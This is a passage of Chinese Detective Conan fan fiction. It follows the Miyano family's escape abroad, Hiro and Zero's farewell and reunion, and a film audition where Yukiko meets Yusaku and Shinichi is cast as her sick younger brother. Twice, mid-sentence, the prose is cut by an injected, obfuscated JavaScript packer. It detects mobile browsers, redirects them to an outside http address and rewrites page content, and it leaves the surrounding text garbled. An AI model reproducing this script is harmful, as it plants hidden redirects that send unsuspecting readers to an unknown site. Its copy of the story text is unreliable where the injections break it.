另一边,相似的话语在一对母子中诞生。寺门外的风还带着香火的温度,灯影在青石阶上铺了一层温吞的金箔。走出寺门,赤井秀一把他发现的情况和赤井玛丽通通汇报了一遍,紧接着说:“妈,这里的签文还真的好巧不巧,应验了。” 赤井秀一和赤井玛丽都不信什么签文,他只是觉得有趣。而玛丽抽签只是为了拿到接头地点纸条,一眼都没看过自己的签文,就问了一句:“上面写了什么?” 赤井秀一单手插兜,另一只手把方才求来的签纸递过去,拿给她看。 「第贰拾签·吉」 【月出渐分明,麻衣变绿衣。何言先有滞,一箭中双鸿。】 “一箭双鸿……”赤井玛丽喃喃道,“今晚,倒确实是收获颇丰。” 江户川先生……还真是个有趣的盟友啊。 21. 粉墨 工藤新一终于痛痛快快地度过了一个不需要耗费脑力的夜晚。 经过今日的一番谈话,他可以肯定赤井玛丽已经明白了问题的严肃性。不论是为了妹妹一家的平静生活还是为了阻挠黑衣组织的非法药物研究,他们MI6都会竭尽全力保护好宫野一家。 而组织也还没到坚决招揽他们的地步,即使受挫,也不会狗急跳墙。这样一来,宫野一家彻底脱离组织视线,只不过是时间问题。 唯一让他心里犯嘀咕的,是赤井秀一今天的举动。那人竟会堵住他,只为要个联系方式——实在反常。 工藤新一陷在酒店柔软的床上,举着手机出神。翻身时,他压到了胸口那只药盒。空的,轻得几乎不存在。他捏着它,像要透过塑料壳看出裂缝来。 不会……真的是它出问题了吧? 算了。如果赤井秀一真起了疑,迟早还会找上门。 他关掉手机,心满意足地沉入黑甜的梦里。 翌日清晨,诸伏英拓带来一条急讯——今晚,他们就得驱车折返长野。 原定的东京之行足有一月之期,如今显然尚未过半。诸伏景光肉眼可见地蔫了下去,像被抽走一半空气的软皮球。 诸伏加奈揉了揉小儿子的发旋,温声解释:“爸爸那边临时出了点状况,得立刻赶回去处理。我们开车来的,车也得开回去——景光,妈妈不会开车,只能一起走了。” “……好吧。”景光鼓着腮帮子,像塞了两颗糯米团,还是点了点头,“那我今天还能去找zero玩一会儿吗?我保证早早回来。” “当然。”诸伏英拓笑了笑,知道这是孩子与好友的告别仪式,“不用赶,晚饭前回家就行。新一和高明也出去走走?” 诸伏高明摇头:“我留下看书。” 工藤新一这几天耗尽脑力,骨头里都泛着倦意,也懒懒地摆手:“我补觉。” 于是,小小的诸伏景光独自背起背包,沿着晨风跑向公园——去找那个金发、肤色微深、笑起来像太阳的朋友。 降谷零正拎着个小渔网,聚精会神地在公园的小溪边捞小虾。看见景光来了,兴奋地招呼他一起。 金发的男孩脸上还贴着个创口贴,神色却活泼而快乐。他烟紫色的眼睛亮晶晶的,闪着这个年纪该有的光。 诸伏景光接过他递来的另一把渔网,心神不宁地捞了一会儿,什么活物都没捞到,倒是渔网叫水草给缠住了。他站起来抓着把手,使劲扯了几次才救出渔网。 “你怎么啦,hiro?”降谷零把渔网里刚捞的小虾倒回溪里,晶莹的水珠溅到他晒得泛红的手背,“闷闷不乐的。” 诸伏景光抿着唇,奶白的小脸皱成一团:“我要回去了,zero。” 降谷零一开始没反应过来,以为他只是回酒店,刚想说“那我陪你”,话到嘴边却猛地刹住——hiro指的并不是酒店。 “……你要回去了?”他声音一下子低下去,“回……家?” “嗯。” “长野?” “对。” 降谷零的嘴角再也扬不起来,他把渔网随手扔到一旁,挨着景光坐在溪边的石头上。 “怎么连你也要走啊……” “还有谁要走吗?”景光侧头。 “艾莲娜医生和明美他们——就在你来之前。诊所昨天就关门了,早上我看见艾莲娜医生和她丈夫在院子里清点行李。她说因为工作,得带全家去国外住一阵子。” “我们家也是‘工作原因’。”景光的声音更闷了。可他闷闷不乐的理由,有一半是为了zero——zero原本朋友就不多,现在他要走,连明美妹妹也走,zero一个人该多孤单。 再说,他也真的、真的舍不得zero。 一想到这个,小男孩蓝色的猫眼就开始泛起涟漪,又觉得不够男子汉,硬生生憋了回去,用带着点鼻音的声音问降谷零:“那zero呢,zero会一直住在这里吗?” “应该会吧。”降谷零说,“我家里只有我和阿姨,应该不会搬家。”* 两个男孩在草坪上躺了一会儿,诸伏景光先坐起来:“我要走了,zero,我还得收拾我自己的行李。” 降谷零一骨碌坐起来:“这么急?你们什么时候走啊?” “吃过晚饭之后吧。那我走了,zero。” 诸伏景光起身向酒店的方向走了。降谷零拎着两个渔网,也慢吞吞地回家去了。 晚饭后,行李已齐整码在门口。诸伏一家五口乘电梯下到一楼,诸伏英拓去前台办退房,加奈带着孩子们在沙发区等候。 “Hiro——!” 酒店玻璃门外,一个衣衫皱巴巴的男孩正用力挥手。零?工藤新一和景光同时抬头。他跟着景光跑出去几步,又识趣地停在几米外——这种场合,还是留给他们自己吧。 降谷零拍了拍衣摆。他在门外等了太久,站累了就倚墙,结果衬衫被压出一道道褶。他从兜里掏出一只崭新的白色小汽车挂件,钥匙圈在灯下亮闪闪,双手递到景光面前。 “给你,hiro。”声音小小的,却郑重得像在交出一整颗心,“送你的。” 景光送他的向日葵挂件还挂在zero的书包上,这就算是回礼吧。工藤新一想。只是……也不至于这么庄重,好像生离死别似的—— 诸伏景光双手接过,小声道谢后便说不出别的话。降谷零的下垂眼一眨不眨地盯着他,盯得景光鼻尖发酸,几乎迈不开腿。可那个没意识到自己在撒娇的金发男孩却先一步转身跑开。 “Hiro,再见!” 景光追了两步,也喊:“再见,zero!” 下一次来东京,谁知道是什么时候呢。工藤新一坏心眼地决定,先不把真相告诉他。 半个月后——东京。 夕阳把校门口照得金灿灿。诸伏景光捏着那只白色小汽车挂件,尴尬地朝降谷零晃了晃,像递出一封迟到又早到的信。工藤新一在旁边忍笑,肩膀一抖一抖: “英拓叔叔被调到东京的小学任教,之前回长野只是办交接。现在手续全齐,我们全家就搬回来了。” 降谷零却压根没在意那些弯弯绕绕,眼睛倏地亮成两盏车灯:“那——以后hiro都留在东京?” “对呀,zero。”诸伏景光眨眨眼,忽然站直,像在课堂上做自我介绍,“以后请多指教,降谷同学!” 工藤新一也举手补刀:“我也是,降谷同学。” 降谷零用力一点头:“嗯!诸伏同学,工藤同学!” “……顺便提醒,”工藤新一拍了拍他的肩,“我们好像和你分在同一个班喔,零君。” 天降大礼包,砸得降谷零脑袋嗡的一声。他张了张嘴,最后只憋出一个词—— “哇哦。” 工藤新一看着两个小孩又像之前一样玩闹到一处,悠哉地坐在长椅上打开了一张报纸。 他随意看了看昨天的新闻,发现都是些“大阪一杂货铺老板制服盗贼”、“松田丈太郎勇夺冠军腰带”*、“日本某地修改交通法案”、“抢劫犯恰遇搜查一课刑警便利店团建”*一类的平常事,遂掏出红色手机,点开赤井玛丽新给他的邮箱地址,发了一句:“你们离开东京了?” 赤井玛丽罕见地秒回:“刚走。你还在那?” “这可不能告诉你。”江户川先生的人设就是有点恶趣味的,“那些乌鸦应该已经收手了吧。” 赤井玛丽无视了他的恶趣味,只回答正经的后半句:“嗯,艾莲娜正在飞机上。” 那就好。工藤新一松了口气。 事情基本上已经收尾,那么他该考虑的就是“代价”了。 宫野一家涉及到的事情实在太广。首先是“银色子弹”和“APTX-4869”的诞生,这辈子想必是无缘面世了;然后是宫野夫妇与明美的性命,不出意外也暂时无虞;最后是宫野志保的人生,想必该会有个大反转。 这样的话,他的代价说不定会应验在两个方面:一个是他身上的毒药和解药。如果这一世根本不会问世,恐怕他身上这一盒“绝版”也会相应受到一些影响。第二个是他的身体。比如说承担灰原哀曾经的“组织PTSD”或者宫野夫妇的大火、宫野明美的枪伤。但他现在还没有丝毫感觉,也许需要等到一切尘埃落定才会开始。 盛夏已过,东京的夜晚伴着飒飒的凉意。 今天算是他们在东京定居的第一天,结束了一晚上的拜访邻居、走亲访友行动,三个孩子一头扎进了附近的书店。 诸伏高明拿着本《论语》在研究,诸伏景光近日迷上了军事杂志,工藤新一则随便拿了本江户川乱步的推理小说。 江户川乱步就是厉害,文笔相当精妙,哪怕他曾经细细读过一遍也丝毫不觉无趣。等再次读完一遍,工藤新一才放下书本,迟钝地觉得有点渴。 “高明哥,景光,”工藤新一小声问两人,“要不要喝水,我去买些。” 诸伏景光仰头:“要苹果汁。” 诸伏高明则想了想:“一样吧。但是新一,你不能喝冰咖啡。” 工藤新一吐了吐舌头,决定买个小瓶装的,在便利店喝完再回书店。 他果然偷偷买了杯冰咖啡,一口气喝光,有一种说不出的爽快感。便利店里没有几个人,工藤新一又拿了两瓶苹果汁,没有要袋子,很快就一手一瓶,结账走出了店门。 书店在便利店旁边那条街上,工藤新一优哉游哉地往回走。路过一处小巷时,他像是感觉到了什么似的,躲在巷子边上,往里面看了一眼。 巷子里传来一个女人隐约的咳嗽声,声音嘶哑,气息却急促,带着点像是泣音的尾调。工藤新一犹豫了一下,站在巷口问:“您好女士,需要帮助吗?” 巷子里的女人没出声。 工藤新一逐渐靠近她。那个女人戴着帽子、捂着脸,看不清具体的模样。几缕黑色的头发有些凌乱地炸开在兜帽外,随着她的呼吸微微起伏。她手上的皮肤像是久不见天日般苍白,整个人在看见工藤新一时一抖,迅速平静下来。 那双手很好看。 “我没事,小弟弟。”女人偷偷瞄了他一眼,黑暗中看不清面容。大概是发现只是个小孩子,简单地敷衍了他一句——她的嗓子已经嘶哑得像个破锣嗓的公鸭了。 “大姐姐,真的不要紧吗?” 工藤新一站在巷口,外面街道上的霓虹灯光在他身影周围镀上一层光。他仍然拿着那两瓶苹果汁,低头关切地看着她,样子像是个……小企鹅? 女人把头埋得更低,不看他,重复了一次:“我没事。” 连续两次被拒绝帮助,工藤新一也就不再勉强。不过女人显而易见的难过并不作伪,工藤新一折返回便利店,要了个袋子装好苹果汁,又买了一杯热牛奶。 等他再回到小巷,那女人已经不见了。 工藤新一扁扁嘴,大声喊了一句:“我买了热牛奶给你,姐姐如果还在,知会我一声,我把牛奶放在这里。” 半晌,更深的巷子里传来一声“谢谢”。 工藤新一把牛奶放下,又喊了一句“大姐姐再见”,才拎着苹果汁继续往书店走。 等他走进了书店,那状似虚弱的女人才现身拿起那瓶热牛奶。玻璃的瓶子,胖乎乎、暖洋洋的。她远远看着书店的落地窗,那个“多管闲事”的男孩把袋子里的苹果汁分给了他的同伴,他的同伴和他一样,都长得很可爱,尤其是那个和他差不多大的男孩。 工藤新一抱着刚挑好的文库本回到书店角落的卡座,木质椅面还带着午后阳光晒出的温度。他刚把书摊开,手机在掌心短促地震了两下——邮件只有一行英文,来自赤井玛丽: “Elena and her family have arrived safely in the UK—no pursuers. Don’t worry.”(“艾莲娜一家已平安抵英,无追兵,勿念。”) 短短十几个词,像一道闸门落下,把连日绷紧的神经猛地松开。可就在他准备合上手机的瞬间,一股诡异又熟悉的震荡突然自头顶灌入——像有人用冰锥在颅骨上轻敲,寒意顺着脊椎一路炸开。 呼—— 书店的空调风明明温吞,他却瞬间起了一层鸡皮疙瘩。手腕上的细小汗毛根根倒竖, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137898|180325||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仿佛被无形的目光刺穿。工藤新一缓缓转头,目光穿过落地窗。 街对面,车流如织,行人匆匆。夕阳把每个人的影子都拉得老长,像一条条黑色的尾巴。可偏偏在斑马线尽头,一个戴着兜帽的女人停住了脚步——帽檐压得极低,脸孔隐在阴影里,手里握着一杯牛奶。那人似乎察觉到窗内的视线,微微抬头。 隔着两层玻璃与十米空气,工藤新一仍感到心脏被攥了一下。 不会错的。这股恶寒,这种让人胃部绞紧的直觉——组织。 如果这一次,他替灰原哀扛下的代价真的是“PTSD的转移”,那么触发条件便是“气味”“声音”甚至“仅仅一个模糊的轮廓”。只要附近有组织的影子,身体就会提前替他拉响警报。 ——倒也还挺方便的。工藤新一苦中作乐。 几公里外的拍摄基地,编剧山本正在门口等着个什么人。天色渐渐黯淡,乌云慢慢笼罩了天空,淅淅沥沥的小雨敲打着屋檐。山本编剧左顾右盼,终于在朦胧的雨中等来了一辆计程车。 “抱歉啊山本先生,”计程车上下来一个年轻男人,没有打伞,冲进雨幕三两下来到了屋檐下。他拍了拍身上的雨水:“路上有些堵车,劳烦你在这等我。” 山本编剧笑着:“哪里哪里,没等多久。工藤先生,你来的正好,我们这边刚开始试镜,几个主要角色都还没开始选人,你作为原著作者,也帮我们参谋一下。” 两人说着,并肩向棚里走去。工藤优作客套道:“隔行如隔山,我就一个写书的,还是得各位专业人士掌眼。” 说话间,两人已经来到了导演身边。 村下导演是个年近四十却仍籍籍无名的倒霉导演——无他,只是但凡他经手的影片、电视剧,总会出几个不大不小的篓子,从业十几年不温不火。这次他牟足了劲要大干一场——先是选中了新锐作家工藤优作的推理悬疑作品《莫比乌斯》,再是剧组重整、演员海选,誓要一雪前耻。 《莫比乌斯》讲述的是一个校园推理社遇见的诡异案件——他们误入了一个废弃的别墅,却在调查中发现这就是他们自己的推理社基地,而里面的六位死者正是他们自己的尸体——谁杀了他们?而正在推理案件的他们又到底是谁? 这本书情节诡异,极度烧脑,把六个少男少女之间的隔阂、矛盾、友谊刻画得淋漓尽致。书的结尾,六个朋友回到现实世界,才发现,如果没有这场经历,他们不会发现仇家的潜在威胁,他们的未来就真的会像那个废弃的基地和尸体一样,悲哀而充满遗憾。 原著小说一环扣一环缺一不可,各个角色的成长轨迹也脉络清晰。更重要的是,角色性格决定了他们的行为。 因此他对原著作者工藤优作相当热情,甚至邀请他来做这部电影的顾问——谁能比原著作者更了解笔下的角色呢? “我们正要开始选女主角呢,工藤先生,一起来看看,哪位演员最符合你作品中的‘利勇学姐’。” 此剧导演无名、剧本无名,自然是来不了什么明星大咖的。一连试镜了五六个在圈中叫不出名字的女演员,效果都勉勉强强。 村下导演从配角开始试镜了一整天,现在已经头痛欲裂,全靠咖啡续命。工藤优作看出他的疲惫,道:“要休息一会儿吗?” “不了不了。早一天确定下演员,也能省一些经费。”村下导演摆摆手,让工作人员继续喊人。 山本编剧翻了翻名册,眼睛忽然亮了起来。他有点儿兴奋地拍拍导演的肩膀:“村下先生,下一个是那位前段时间很火的小花诶。” 工作人员正好报幕:“七号,藤峰有希子小姐!” 工藤优作听到耳熟的名字,转头看向来人。有希子穿着帝丹高中的校服,拎着的书包看上去都沉甸甸的。看样子像是放学之后匆匆忙忙赶来试镜的。 导演的眼睛忽然亮了。且先不论藤峰有希子的演技是否精湛,单凭她优越的外貌、17岁的年龄和学生身份就很契合电影中女主的气质。 藤峰有希子单手拎着书包,站在舞台中央:“各位导演老师、编剧老师好,我试镜的片段是第三十六幕,与男主角的冲突戏份。” “需要搭戏吗?”山本编剧问。 有希子笑着说:“如果可以的话。” 第三十六幕的冲突戏是男女主之间意见不和、吵架的片段。但并不是什么情侣吵架,这部剧最有意思的点其实就是几位主角的关系:没有爱情,只有互相扶持的友情。 工藤优作主动接过山本编剧手中的搭戏剧本,轻咳一声:“我来搭可以吗?” 藤峰有希子这才注意到他,诧异地眨了眨眼,湛蓝色的眼睛望向他:“那就太感谢您啦,工藤老师。” 工藤优作被她看的有点不自在,点点头:“那开始吧。” “我不明白你为什么非要这样做,利勇学姐。”工藤优作毕竟不是干这行的,读剧本的语调稍显生硬,但情绪到位,“推理社是你一手建成的,现在我们一起进入了这场冒险,就该团结一心,一起前进。你现在宣布解散是什么意思?” 藤峰有希子迅速进入角色,两只手攥紧了手里的包,色厉内荏的回道:“现在是一个什么处境你不知道吗?本来我们大家就不是什么能同生共死的伙伴。大难临头各自飞不是很正常?” “可是这里只有我们,学姐,你到底在害怕什么?你是不是知道一些别的东西?” “我……”藤峰有希子低下头,声音已经没有刚才那般锐利,“我不能说。” “我不能说,我不能说……”她忽然把包扔到一边,蹲下来,双手捂着头,声音也逐渐变得歇斯底里,“这里的一切都是命中注定的!我已经卷进来了,可是你们还没有!小岛君,你们还没有……” 接下来仍然是两个角色之间的争吵。“小岛”继续劝说“利勇学姐”,让她不要单打独斗说出自己知道的信息,而学姐固执己见,坚持认为不能牵扯到更多人——她已经循环无数次了,最开始她也把所有信息公之于众,可得到的却是失望。她对接下来的未来不抱丝毫幻想。两人不欢而散。 总而言之,酣畅淋漓的第36幕试镜结束了。藤峰有希子拿下了角色。 22. 登场 从她开始,接下来的试镜似乎变得异常顺利起来。走廊尽头的窗棂外,雨声淅沥,像有人在玻璃上弹奏一支即兴爵士。灯光、台词、走位,一切都顺滑得像被雨水打磨过的鹅卵石。不到半夜,主角六人团已“名花有主”。工作人员们打着哈欠互相击掌,宣告今日收工。 时间已近深夜。 工藤优作合上剧本,伸了个长长的懒腰,指节发出细碎的“咔啦”声。顾问工作终于告一段落,他拎起西装外套,沿着来时的走廊往回走,却在试镜室的门口捡到了一个打瞌睡的漂亮姑娘。 藤峰有希子倚靠在椅背上,手里攥着笔,一张数学卷子压在手肘和腰间——别扭的姿势,大概是写卷子的时候睡着了,左臂自然下垂时把纸张卷到了胳膊下。她漂亮的卷发散开,滑落到肩头,有几缕头发不太文雅地戳进了唇边。工藤优作站在原地看了半天,才轻轻拍了拍她的胳膊:“藤峰小姐?” 工藤优作站在半臂之外,垂眸看了很久。灯光忽明忽暗,在他镜片上碎成两点星。他最终蹲下来,声音低得几乎被雨声盖过:“藤峰小姐?” “……唔?” 有希子猛地一抖,像被人从云端推回人间。她先是茫然地眨眼,睫毛扑簌簌扇出小片风,依稀记得自己在学习,手忙脚乱去抓卷子,结果把卷子“哗啦”反了个面,铅笔印全糊在胳膊上。 工藤优作轻笑出声。 “你笑什么?”有希子耳根瞬间烧红,声音拔高,却又怕惊动旁人,只能压低嗓子恼羞成怒,“这么晚了还要写数学,睡着了不很正常?” “没有没有,藤峰小姐学习刻苦,在下愧不敢言,”优作抬手,做了个投降的手势, “只是这么晚了,怎么还不回家?” 藤峰有希子才不会告诉他,是因为自己想在这里等工藤优作说会儿话,才坐在门口等的。谁知刚刚还被她看得不好意思、跟她搭戏都不敢看她的工藤优作居然这么不解人意,她都在后面坐了两个小时都不说回头看看。她赌气,就不肯承认自己鬼使神差干了件蠢事,掏出卷子开始写作业,结果写着写着,把自己送进了周公的黑甜乡。 梦里,她成了大明星,奥斯卡红毯铺到脚边;婚姻美满,家财万贯,还有一个聪明又可爱的弟弟被她捏脸揉头——那张小脸忽然和那天遇见的小男孩重叠。 于是,她咂咂嘴,含糊地咕哝: “那天那个和你一起的小弟弟呢?那天你俩都没说什么就跑了,我还想好好和他玩一会儿呢。” 工藤优作有点好笑地看着她变来变去的脸色,答到:“新一啊,最近倒是不太联系,听说是刚搬来东京。” “上次就想说了,新一这个名字真的很好听,”藤峰有希子伸了个懒腰,“新生的、唯一的。给他取名字的人一定很爱很爱他。” “你很喜欢他?” “是啊,那孩子看着就聪明。而且总给我一种似曾相识的感觉。”藤峰有希子说,“剧本里那个,女主角回忆里的弟弟,是不是还没选人?让他来试试呗,虽然只见了一次,但我总觉得我们两个长得很像,演姐弟简直就是天作之合嘛!” 有希子有点过于自来熟了,工藤优作却没感觉到。“不要乱用词语,应该是‘浑然天成’才对。”优作条件反射地纠正,最后一个“有”字差点溜出口。 他猛地刹车,把“有希子”三个字咽回去,耳根悄悄红了。 “咳,我明天问问他。那么——”他生硬地转移话题,“夜深了,藤峰小姐怎么回家?” “我经纪人今天忙,好像没空。爸妈都出去旅游了……所以……”有希子抿唇,手指扣来扣去,悄悄抬头看着面前的年轻男人。 雨声忽然大了一拍,像在给她的留白伴奏。 没有人能拒绝这样的有希子! 工藤优作单手插在外套口袋,另一只手攥紧伞柄。他低头望着面前雀跃的姑娘,话到嘴边绕了个弯,换成一派绅士的从容。 “那——”他顿了顿,尾音被雨声切成柔软的节拍,“我们先走到大路上,替你拦辆计程车。车到了,我再折回来。倘若仍不放心,大可以给经纪人或令尊令堂去通电话,把我的名字原样报备——东京的警察先生们听到‘工藤优作’四个字,多半就知道该上哪儿逮人了。” 他说得轻巧,却偏要在末尾压一点低低的笑,像夜色里忽然亮起的小束烟花。 藤峰有希子原本绷着的肩膀“噗”地松了,笑意从眼角一路漫到指尖。她甩了甩长发,蜷曲的发梢在灯下跳出一朵小闪电,亮晶晶的。 她拿起手提包,大踏步走向门口:“跟上啊,工藤先生!” 她回头招手,鞋跟在大理石地面敲出清脆的“嗒嗒”声,像把雨夜奏成了小步舞曲。 工藤优作无奈地叹气,顺手捞起椅背上那把折叠伞:“外面雨势正大,你的伞——” “不要!” 有希子抬手往空中一挥,仿佛要把整个雨幕拨开。 “我今天拿下试镜了!今晚的月亮、风、雨,统统归我!我才不要让小小雨伞遮住我的天空!” 她笑得张扬,像一簇不肯熄灭的火,径直冲进廊外浓稠的雨帘。优作只得举着伞追上去,雨点噼里啪啦砸在伞顶,像无数观众在鼓掌。 “……所以,这就是你感冒的原因?跟新晋小花一起在瓢泼大雨里撒欢,还学偶像剧把伞扔一边?”工藤新一面无表情地听着电话,“结果人家有希子姐姐活蹦乱跳,你却烧到三十八度五。” 听筒里传来沙哑的咳嗽,像老旧风箱漏风。 “咳咳,话不能这么说……”工藤优作裹着毯子,手里捧着冒热气的感冒冲剂,琥珀色液体映出他无奈的脸,“我先是把她安全送到家,再自己折回,路径双倍,雨量双倍,逻辑上——” 工藤新一不想继续听自己父母的恋爱细节了,打断他:“所以呢,你打这个电话来是为了和我跟进你的感情状态?说重点吧。” “重点就是——”优作拖长尾音,似乎在忍着笑,“藤峰小姐想让你来演她弟弟。小配角,戏份不多,来不来?” 你刚刚啰里啰嗦长篇大论的,我还以为叫人夺舍了呢,谁还会认真听你说没说这些话。工藤新一吐槽。 但一想到又能够和有希子见面,他还是答应了下来:“先说好,我可没什么演戏天赋的。” 工藤优作想笑,结果喉咙突然一痒,咳的停不下来——你小子还没天赋?先前银行抢劫和音乐世家的案子里,那个古灵精怪各种演的人不是你了吗? 女主角的弟弟在整部戏里拢共没有几分钟镜头,大多只是一抹回忆里的剪影:病弱、安静,像被阳光遗落在旧书页上的一枚薄灰。村下导演向来信奉“能省则省”的至理名言,原打算随便从场务组薅个亲戚家的小男孩顶上,既省钱又省心力。于是这事儿一拖再拖,直到正式开机前两周才终于被提上日程。 那天午后,工藤优作牵着工藤新一出现在片场。 阳光被百叶窗切成细长的金线,落在男孩肩头,像给他镀了一层柔焦滤镜。新一穿着最简单的白衬衫与深灰短裤,领口挺括,袖口下露出一截细白的手腕,隐约能见淡青色血管。 村下导演原本正捧着保温杯打哈欠,余光扫到门口,哈欠顿时卡在喉咙里。 “好——好好好!” 他连说四个“好”,尾音因为惊喜而拔高,惊飞了窗外两只麻雀。 “这孩子长得太出挑了!”导演绕着新一转半圈,像在鉴赏一尊精致瓷偶,“瘦是瘦,可瘦得正好——要的就是这种风吹就倒的病弱气质。”他忽然眯起眼,“哎?怎么跟藤峰君像一个模子刻出来的?” 藤峰有希子从化妆镜前“嗖”地探出脑袋,笑吟吟地凑过来,指尖轻车熟路地捏住新一还带着婴儿肥的脸颊:“是吧是吧?我早就说啦,小新一说不定是我失散多年的远房堂弟。” 工藤新一躲不开她的魔爪,在原地生无可恋地瞟工藤优作。工藤优作眼里却根本看不见他,同有希子搭话:“今天不需要去学校排练吗?我听说帝丹高中的学园祭下周就开始了。” “不用不用,我的部分已经炉火纯青了,要相信专业演员的实力哦,”藤峰有希子站起身,“只是在舞台剧里出演一个两分钟的配角而已,根本不用那么紧张,现在的电影才是我的主业,对吧村下导演。” 村下导演被她哄得合不拢嘴。 “导演,今天不急着定妆吗?”优作抬头提醒。 “对对对!”村下导演一拍脑门,“先试妆!衣服不用换了,这身就挺好……不过要不要加副眼镜?剧本里利勇学姐的弟弟是个病弱的小书呆子,倒没说戴不戴眼镜的事……算了,藤峰君,你让泽田君自由发挥好了。” 那边,有希子已经兴致勃勃地牵着新一往化妆间走,高跟鞋踩过地板,“嗒嗒”声像在敲一段欢快的前奏。 新一被她拉得踉跄半步,忍不住小声抗议:“我只是来客串,又不是签卖身契……” 藤峰有希子装听不见,进门高呼:“泽田先生!我带小演员来试妆!” 化妆师穿得一丝不苟,几乎不像是个艺术领域的人。看见藤峰有希子,他笑着和她打招呼:“藤峰小姐!” “泽田先生下午好啊,这是我们的小演员工藤新一。”有希子牵着工藤新一走到他跟前,“新一,这位是剧组的化妆师泽田和也先生。才三十岁就已经是业界有名气的化妆老师了哦。” 工藤新一乖乖打招呼:“泽田叔叔好——” “藤峰小姐谬赞了,”泽田和也蹲下来和他打招呼:“你好啊,工藤小朋友。” “我带他来试妆,泽田先生,”有希子接着说,“导演的意思是要弄一个稍显病容的妆——剧情需要。” “好,过来坐吧,小弟弟。”泽田和也拿出化妆用品,娴熟地把工藤新一的头发固定好,然后有一搭没一搭地和有希子聊天:“今天工藤先生没过来吗?” “他也来了,好像在和山本编剧讨论后面的某些情节。”藤峰有希子坐在一旁看着工藤新一,“泽田先生找优作先生有什么事吗?” 已经叫上“优作”先生了啊……工藤新一半月眼。 泽田和也笑笑:“没有啊,只是工藤先生和藤峰小姐这两个月几乎都会同时出现在剧组,我随口问问罢了。”他脸上的表情略显揶揄,有希子敏锐地意识到他的意思,不禁低下头。为了显得自己不那么慌乱,她打开一旁的收音机,打算挑个漫才频道或者音乐频道调节一下气氛。 收音机一开,先传来的是电台播音员字正腔圆的新闻播报——不知道上一个用收音机的是哪一位时事爱好者,只听收音机里的女播音员四平八稳地说—— “……播报新闻,我台记者今日下午五时在东京警视厅了解到,今日中午在东京西郊水域发现的男性尸体已经确认为前日“血衣恐吓”事件中的血衣主人。更多情况警方尚未公布。据悉,上月底发生在建筑工地的夜店女招待神秘坠楼事件也尚未有定论。一个月内连续发生两次恶性事件,至今案件仍未有进一步进展,警视厅及本台呼吁广大听众,日常生活中务必提高警惕……” 泽田和也“哼”了一声:“提高警惕?警惕被哪里忽然冒出来的杀人犯杀死吗——小朋友,闭眼睛——那个坠楼案都多久了,居然还没有进展?” 工藤新一闭上眼睛,嘴里问:“泽田叔叔和广播里说的坠楼案,是不是10月24日发生在中央区建筑工地的那个?” “应该是,具体日子我记不太清。”泽田和也用刷子轻轻沾了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137899|180325||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点粉,扫在工藤新一脸上,惹得他打了个小小的喷嚏。 藤峰有希子拿了手帕给他,笑着说:“新一不习惯化妆吧?唉,女演员可是每天每天都要花好久画好复杂的妆容的!”说着摸上自己细腻的皮肤,不忘加一句:“不过呢,你有希子姐姐风华正茂,我化妆很简单的。” 她还是这个性子。工藤新一无奈。 泽田和也笑着接话:“藤峰小姐的确天生丽质——其实工藤小朋友也不差,小孩子皮肤就是好,要不是剧组要求画病态妆,你都不用上这么重的底妆的——来,闭眼。” 等工藤新一终于从化妆室里走出来,他就已经是一个合格的、“与病魔争斗”、“缠绵病榻”的白月光弟弟角色了。 他原本就白皙的肤色被粉底变得更加苍白没有血色,唇色也黯淡失色,眼睛周围加了些阴影凸显凹陷感……乍一看就是个生病的可怜小家伙,可神态自若,眼神锐利,又让人觉得这具病重的身体里藏着一朵金子般的灵魂之花。 村下导演赞赏地抚掌:“好!要的就是这种状态!新一君啊,等一会儿开机的时候呢,你就……”他兴致勃勃地给工藤新一讲起戏来。 工藤新一连连点头,一边听,一边思考起刚刚收音机里提到的案件。 坠楼案已经发生了二十多天,警视厅应该不会一点头绪都没有。如果是自杀,警方不会藏着不说平白毁自己名誉,所以现在警视厅的进展,大概就是知道这是一起他杀案件,却没有查出嫌疑人的踪迹。 “血衣抛尸案”就更恶劣一些了。据说,犯人在两天前也就是11月15日向死者所在公司邮寄了一件被血液染透的衬衫,按照血液的流失量和衬衫领口上的刀刺痕迹来看,警方判断血衣的主人大概率已经遇害身亡。而今天在西郊的水域发现的尸体印证了这点。 都是很恶劣的案件呢。工藤新一情不自禁地捏住下巴。可惜他现在不是什么高中生侦探,也没有借住在毛利侦探事务所,目暮警官还是个刚上任的愣头青——真是糟糕,他介入不到这案子里。 第一次当“演员”的工藤新一,终于在第九次 NG 后把最后一句台词念顺。导演喊“过”的那一秒,他整个人像被拔掉电池的玩偶。 工藤优作已经是剧组的常客,甚至都有了专门的躺椅和折叠伞。工藤新一拍完戏份、补拍和定妆照就累得瘫在工藤优作的躺椅上,仰头看着旁边笑眯眯的恶劣大人。 优作递来一杯温可可,杯口浮着三颗软绵绵的棉花糖,像浮动的云。 “你是个骗子。”新一仰头指责他,“你根本没告诉我拍戏这么麻烦。” “远景、中景、特写、过肩、俯拍、仰拍……我就一句‘姐姐,别哭’,用得着七个机位吗?我脖子都快拧成麻花了。” 工藤优作说:“哪一行都不简单啊。再说,你不是要当侦探吗?侦探可不能不懂‘演员’这种复杂的人物喔,演技暂且不论,万一有的剧组里发生案件,侦探难道还要被人科普剧组的相关工作事宜么。” 说到“案件”,工藤新一算是有了点精气神,想着工藤优作或许是他目前最大的案件消息来源,心平气和地问:“你知道上个月底的坠楼案和今天发现的那具尸体吗?” 